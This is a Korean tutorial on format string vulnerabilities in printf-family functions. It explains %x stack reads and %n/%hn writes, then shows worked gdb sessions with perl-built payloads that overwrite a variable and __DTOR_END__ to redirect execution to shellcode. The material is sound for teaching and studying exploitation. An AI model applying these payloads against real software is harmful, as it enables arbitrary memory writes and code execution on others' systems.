FSB, Format String Attack/Bug
#1 %08x / n$
%x
보다 %08x
를 사용하는 편이 보기도 좋고, 출력 문자 개수 맞추기도 편하다. %hn
이전에 선행 출력 문자 개수를 만들 때도 c %\*x || %\*d
를 사용한다.
+ 특정 위치 데이터를 출력하려면 n$
이용한다.
#2 %hn
%n
이 작용하는 순간 그 위치 포함 +4 bytes가 0
으로 초기화 되면서 값이 써진다. 그래서 %n
으로 쓰려면 하위주소 부터 쓰고 상위주소를 써야 이후에 쓰는 %n
이 이전에 쓴 하위 2 bytes 값을 덮어 쓰지 않는다. 그러나 이렇게 하위주소 부터 쓰고 상위주소를 써도, 4 bytes를 잡고 쓰게 되므로 다음 2 bytes를 덮어 써서 그 부분의 데이터가 손실된다.
따라서 %hn
을 사용해 2 bytes 씩 쓰는 것이 좋다.
하위 2 bytes와 상위 2 bytes를 나눠서 쓸 때는 처음부터 lower + %x작용 지점 + upper
12 bytes를 입력해 놓고 시작해야 계산하기 수월하다.
terminology
형식지정자 : format specifier printf 계열의 인자들 중에 파싱되는 문자열 혹은 변수 : format string (pointer) %*x에서 * : width field
FSB
일반적으로 함수를 호출할 때, call 하기 전에 호출 대상 함수에서 사용할 argument를 뒤에서 부터 push한 다음 call하게 된다. printf 계열을 호출 할 때도 마찬가지다. printf 계열은 format string을 파싱하다 형식지정자를 만나게 되면 데이터를 차례대로 pop하여 이를 형식대로 출력하는데, 이 때문에 유저가 입력한 데이터를 format string으로 바로 사용하게 되면 문제가 발생할 수 있다. 형식지정자에 대한 변수를 인자로 넘기지 않은채로(push 하지 않은 채로) format string에 형식지정자를 적어서 넘기게 되면, call하기 전에 push해 놓았을 거라 생각하고 stack상의 format string pointer 저장 위치 다음 부분을 차례로 출력한다.
vul.c:
x와 buf에 저장되어있는 데이터를 출력해 보도록 했다.
이런식으로 %x를 printf의 인자인 buf에 입력하면, printf가 buf를 파싱하면서 %x를 만날 때 마다 stack의 data가 차례로 pop되어 출력된다. x(=1)와 buf (41414141…)가 보인다.
* x를 먼저 선언했으니 x가 buf보다 stack의 아래부분에 있을 것 같지만, 꼭 먼저 선언했다고 stack에 먼저 들어가게 되는건 아니다. 컴파일러가 확장해야 할 공간을 계산해서 한꺼번에 확장하고 사용하기 때문.
%n format specifier
이 방법을 응용해 원하는 위치에 데이터를 쓰기 위해서는 format specifier %n
을 이용해야 한다. 변수의 값을 읽어와 출력 형식을 지정하는 다른 형식지정자와는 반대로, %n
은 선행 출력되는 문자의 개수를 변수에 저장한다.
Note ) %n
을 파싱하는 순간의 esp 위치에 값을 쓰는 것이 아니라, esp 위치에 저장되어있는 주소가 가리키는 곳에 쓰기가 일어난다.
e.g. 1 : variable x
데이터를 쓸 곳 x의 주소 확인.
이 값을 buf에 입력하기 전에, 형식지정자를 몇번이나 출력해야 변수 x의 위치에 도달할 수 있는지 확인.
먼저 ecx를 push하고, stack을 0x64만큼 확장했으므로 esp는 ebp기준 0x68만큼 확장했다. ebp-0x4c에 x가 있다. ebp-0x48에 buf가 있다. printf하기 전 0xc만큼 확장하고 push eax했으므로 0x10만큼 확장했다. printf하기 직전 esp는 ebp-0x78이다. 이를 바탕으로 stack layout을 그려보면 다음과 같다.
ebp 상대 주소 | layout |
-0x78 | format string pointer |
… | … |
-0x4c | x |
-0x48 | buf |
… | … |
ecx | |
sfp | |
ret |
printf가 형식지정자를 만나면 format string pointer 바로 다음 주소(0x74)부터 pop하게 된다. 따라서 x 위치 직전까지 도달하기 위해 출력해야 하는 형식지정자의 개수는 0x74 - 0x4c = 0x28이므로 10개. 11번째 형식지정자를 사용하면 x값이 출력된다.
11번째 %x의 출력에서 x 값을 확인할 수 있다. 위에 기술한 대로 x 바로 아래 buf가 위치해 있기 때문에, 그 아래에 AAAA(41414141)를 확인할 수 있다.
아까 확인한 x의 주소를 buf에 입력했다. 13번째 %x의 위치에 잘 들어갔다. 이제 남은 것은 삽입한 x의 주소 위치에서 %n이 동작하도록 하면 되므로, 13번째 %x를 %n으로 바꾸면 된다.
x=82로 변경되었다.
위에 출력된 11번째 %x가 그대로 1인 것은 %n을 파싱하기 전에 출력되었기 때문이다.
이런 식으로 %\*d
( width field )를 이용하면 출력 문자 개수를 쉽게 조절할 수 있어 큰 값을 쓸 수 있다.
그러나 0xbfff...
같이 양의 정수 최댓값을 넘어가는(=MSB가 1인) hex값일 경우, -를 입력할 수는 없으므로 상위 2byte와 하위 2byte를 각각 입력해야 한다.
e.g. 2 : [ dtors , dtor ]
FSB를 이용해 \_\_DTOR\_END\_\_
에 쉘코드 주소를 써서 프로그램이 종료되면서 쉘코드를 실행하게 했다. * \_\_DTOR\_END\_\_
는 소멸자로 프로그램이 종료되기 전에 여기에 명시되어 있는 주소(함수)가 호출된다.
1
2
3
0xbfffff97 // shellcode 위치 ( 환경변수 )
080495f4 d \_\_DTOR\_END\_\_
*__DTOR_END__의 위치는 nm을 사용해도 좋고 readelf나 objdump로 확인해도 좋다.
따라서 0xbfffff97을 0x080495f4에 쓰면 되는데, NOP를 고려해서 0xbfffffa0을 쓰기로 했으며, 양의 정수 최댓값을 넘어가는 수 이므로 상위 2BYTE, 하위 2BYTE로 나눠 쓰기로 했다. 그래서 lower +%x작용지점+upper == (\xf4\x95\x04\x08AAAA\xf6\x95\x04\x08)
를 입력해 놓았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) r `perl -e 'print "\xf4\x95\x04\x08AAAA\xf6\x95\x04\x08", "/%08x"x2, "/%08x", "%hn"'`
Breakpoint 2, 0x0804843c in main () // call printf지점.
(gdb) x/4x 0x080495f4
0x80495f4 <\_\_DTOR\_END\_\_>: 0x00000000 0x00000000 0x08049520 0x40015a38
(gdb) ni
0x08048441 in main ()
(gdb) x/4x 0x080495f4
0x80495f4 <\_\_DTOR\_END\_\_>: 0x00000027 0x00000000 0x08049520 0x40015a38
%hn
전까지 출력된 데이터 길이 = c 12 (주소+AAAA+주소) + 3 (/ 3개출력) + 24 (%08x 3개출력) = 39(0x27)
이므로 0x0027
이 잘 들어간 것을 확인할 수 있다. 하위 2BYTE부터 삽입할텐데, 하위주소를 삽입하기 위해 입력해야 하는 width field 값은 다음과 같다. W = 삽입할 값 - %hn 전까지 출력된 데이터 길이 + %n직전의 %\*x의 width field 값
1
2
3
(gdb) p 0xffa0-39+8
$1 = 65409
Note ) %n
직전의 c %x
를 사용하지 않고 %x
를 추가로 하나 더 써버리면 %n
이 작용하는 위치가 틀어지게 되므로, %n
직전의 c %x
를 사용한다.)
1
2
3
4
5
(gdb) r `perl -e 'print "\xf4\x95\x04\x08AAAA\xf6\x95\x04\x08", "/%08x"x2, "/%65409x", "%hn"'`
...
(gdb) x/4x 0x080495f4
0x80495f4 <\_\_DTOR\_END\_\_>: 0x0000ffa0 0x00000000 0x08049520 0x40015a38
0xffa0이 제대로 들어갔다. 상위 2BYTE를 삽입하기 위해 입력해야 하는 width field는 하위 2BYTE + W = 삽입할 상위 2BYTE
이므로 W = 상위 2BYTE - 하위 2BYTE
1
2
3
(gdb) p 0xbfff-0xffa0
$2 = -16289
음수가 나오는 경우, 앞에 1을 붙여준다.
1
2
3
(gdb) p 0x1bfff-0xffa0
$3 = 49247
1
2
3
4
5
(gdb) r `perl -e 'print "\xf4\x95\x04\x08AAAA\xf6\x95\x04\x08", "/%08x"x2, "/%65409x", "%hn", "%49247x", "%hn"'`
...
(gdb) x/4x 0x080495f4
0x80495f4 <\_\_DTOR\_END\_\_>: 0xbfffffa0 0x00000000 0x08049520 0x40015a38
0xbfff
도 잘 들어가서 0xbfffffa0
이 완성되었다.
summary
- 데이터를 쓸 위치의 주소를
printf()
계열의 파라미터로 넘길 수 있어야 한다. - 형식지정자를 적당히 사용해 데이터를 쓸 위치의 주소를 입력해둔 곳까지 esp를 내린 후
%n
이 동작하도록 해야 한다. %n
은 선행 출력된 문자의 개수를 저장하므로 원하는 값을 삽입하기 위해 선행 출력 문자 개수를 조정한다.
Format strings vulnerability printf family
- printf
- fprintf
- sprintf
- vprintf
- snprintf
- vsprintf
- vsnprintf
- vfprintf 사실 대부분의 printf 계열에 존재하는데, 함수 자체가 문제라기 보다는 형식지정자를 사용 안하고 유저 입력 데이터가 바로 format string이 되는 것이 문제이기 때문이다.